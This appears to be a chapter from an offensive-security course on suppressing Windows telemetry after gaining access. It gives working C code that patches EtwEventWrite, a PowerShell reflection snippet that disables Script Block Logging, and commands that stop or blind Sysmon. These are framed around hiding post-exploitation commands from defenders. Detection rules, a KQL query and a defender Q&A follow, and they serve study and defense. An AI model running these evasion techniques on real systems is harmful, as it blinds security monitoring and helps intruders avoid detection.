ETW Patching and Telemetry Suppression
ETW (Event Tracing for Windows) is the telemetry backbone that feeds both Windows Event Log and EDR products. Userland ETW patching suppresses the telemetry that PowerShell Script Block Logging, .NET runtime events, and process activity feed to any listening consumer. This chapter covers EtwEventWrite patching, provider-level disablement, the hard floor of ETW-TI in the kernel, and what defenders observe when ETW is tampered with.
You've bypassed AMSI. But PowerShell Script Block Logging is forwarding every block of deobfuscated PowerShell to the SIEM via the Windows event log (Event 4104). Your post-exploitation commands — including your AD enumeration queries — are being logged in plaintext. You need to suppress ETW telemetry in the PowerShell process so that Script Block Log events are never written, without stopping the process or triggering a tampering alert.
ETW Architecture
EtwEventWrite Patch
// Patch EtwEventWrite in ntdll to return success immediately without
// actually writing any event. Suppresses all ETW events from this process.
// More comprehensive than AMSI patch — kills ALL ETW for this process.
#include <windows.h>
BOOL PatchEtwEventWrite(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID pEtw = GetProcAddress(hNtdll, "EtwEventWrite");
if (!pEtw) return FALSE;
// Patch: xor eax, eax (31 C0) + ret (C3)
// EtwEventWrite returns ULONG (STATUS_SUCCESS = 0)
BYTE patch[] = { 0x33, 0xC0, 0xC3 }; // xor eax,eax + ret
DWORD oldProtect;
VirtualProtect(pEtw, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pEtw, patch, sizeof(patch));
VirtualProtect(pEtw, sizeof(patch), oldProtect, &oldProtect);
return TRUE;
}
// PowerShell equivalent (must be run before Script Block Logging fires):
// $patch = [byte[]] (0x33, 0xC0, 0xC3)
// $etwAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
// (([System.Text.Encoding]::Unicode.GetString(
// [Convert]::FromBase64String('bgB0AGQAbABsAA==')) +
// [char]33 + 'EtwEventWrite') | % {
// [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($_)}),
// [Type])
// ... (full version requires p/invoke to VirtualProtect)
Provider-Level Disable via Unhook
// More surgical: disable only the PowerShell provider by zeroing
// the provider's registration handle — no events from that provider only.
// Doesn't touch EtwEventWrite → less visible as a broad suppression.
// The PowerShell provider registration handle is stored in
// System.Management.Automation.dll's data section.
// Via reflection, we can find and zero the etwProvider handle.
# PowerShell — zero the SMA ETW provider handle (targets only PS logging):
$SMA = [Ref].Assembly
$t = $SMA.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$f = $t.GetField('etwProvider', 'NonPublic,Static')
$p = $f.GetValue($null)
# Zero the provider enabled flag:
$etwProviderType = $p.GetType()
$m7 = $etwProviderType.GetField('m_enabled', 'NonPublic,Instance')
$m7.SetValue($p, [System.Int32]0)
# Result: Event 4104 (Script Block Log) will no longer be written
# for this runspace. Other ETW providers remain intact.
# Detection: absence of 4104 events after PowerShell activity is itself
# a detection signal ("should have logged but didn't").
ETW-TI: The Kernel Floor
Sysmon Blinding (Kernel Driver)
// Sysmon is a kernel driver (SysmonDrv.sys). Userland ETW patches do NOT
// affect Sysmon — it hooks kernel callbacks directly.
// Killing Sysmon requires either:
// 1. Admin + sc stop SysmonDrv (visible, creates a log gap)
// 2. BYOVD kernel write to suppress SysmonDrv callbacks
// 3. Process token manipulation to run as PPL (hard)
// Detectable alternative: filter Sysmon's event output by process name
// without stopping the driver — modify Sysmon config via registry.
// Requires SYSTEM privileges:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SysmonDrv
→ modify "Parameters" key (encrypted config) — requires knowing Sysmon's
config encryption or replacing with a minimal allow-nothing config
// Real-world approach: if you have SYSTEM, stop Sysmon:
// sc.exe stop SysmonDrv (Event 7036 fires: service stopped — logged)
// Alternative: taskkill /f /im Sysmon64.exe (process terminates; driver
// remains loaded but event forwarding stops — quieter)
// Detection of Sysmon stop:
// Event ID 7036: Service Control Manager — SysmonDrv service stopped
// Followed by absence of Sysmon events = high-confidence indicator
Telemetry Suppression Table
| Telemetry Source | Location | Patchable from userland? | What it feeds |
|---|---|---|---|
| EtwEventWrite (ntdll) | User process | Yes — 3-byte patch | WEL, Script Block Log, .NET events |
| AMSI (amsi.dll) | User process | Yes — 6-byte patch | AV real-time scanning |
| ETW-TI (ntoskrnl) | Kernel | No — kernel mode | MDE memory events |
| Sysmon driver (SysmonDrv.sys) | Kernel driver | No — kernel driver | SIEM via event log |
| Windows Security Log (LSA) | Kernel / lsass | No | Authentication events (4624, 4625) |
| PS Script Block Logging (4104) | CLR/SMA.dll | Yes — reflection | SIEM, EDR PS telemetry |
Detection Engineering
title: EtwEventWrite Patching in ntdll
logsource:
product: windows
category: create_remote_thread
detection:
selection:
EventID: 10 # Sysmon process access
TargetImage|endswith: '\powershell.exe'
GrantedAccess: '0x1FFFFF'
CallTrace|contains: 'ntdll.dll'
condition: selection
level: medium
note: Combine with absence-of-ETW-events correlation for higher fidelity
title: PowerShell No Script Block Events Despite Activity
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\powershell.exe'
CommandLine|contains: '-NonInteractive'
filter_has_4104:
EventID: 4104
condition: selection AND NOT filter_has_4104
level: medium
note: Correlation rule — requires joining process create with script block events
-- MDE KQL: detect VirtualProtect on ntdll address range (ETW patch attempt)
DeviceEvents
| where ActionType == "VirtualProtectApiCall"
| where MemoryProtection has_any ("ExecuteReadWrite", "ReadWrite")
| join kind=inner (
DeviceImageLoadEvents
| where FileName =~ "ntdll.dll"
| project DeviceName, InitiatingProcessId, NtdllBase = SHA1
) on DeviceName, InitiatingProcessId
// If MemoryAddress falls inside ntdll.dll's mapped range → suspicious
| where MemoryAddress != ""
| project Timestamp, DeviceName, InitiatingProcessFileName,
MemoryProtection, MemoryAddress, MemorySize
Q&A
If an attacker patches EtwEventWrite and AmsiScanBuffer in their process, what telemetry does a defender still have?
Patching both EtwEventWrite and AMSI in a process suppresses a significant amount of userland telemetry, but defenders retain several independent data sources that are not affected by either patch.
ETW-TI (kernel events) are completely unaffected. Any allocation, protection change, thread creation, or APC queue that the process performs is recorded by ETW-TI and delivered to the MDE sensor running as a PPL process — which cannot be killed by the attacker's process. MDE's Advanced Hunting logs these as DeviceMemoryEvents and DeviceProcessEvents entries. If the attacker allocates memory and injects shellcode, ETW-TI records it regardless of what the attacker patched in ntdll.
Sysmon kernel driver events continue. Process creation (Event 1), network connections (Event 3), DNS queries (Event 22), and image loads (Event 7) are all generated by the kernel driver and are unaffected by userland patches. The process launching PowerShell, the DLLs it loads, and any network connections it makes are all logged.
Windows Security Log events (4624, 4625, 4688 with command-line auditing enabled) are written by the LSA and kernel — not by the process itself. If the attacker runs commands, Event 4688 records the new processes they create, including command-line arguments, regardless of ETW patches in the parent process.
Detection of the bypass itself: the act of patching EtwEventWrite creates a detectable gap. A process that ran PowerShell (visible via Event 4688) but produced zero 4104 Script Block events is an immediate anomaly. Defenders hunting for this pattern look for PowerShell sessions with process creation events but absent script block logs — the silence is the signal. Similarly, if ETW-TI records that the process called NtProtectVirtualMemory on a page range that falls within ntdll.dll's loaded address, that is the patch operation itself, directly logged.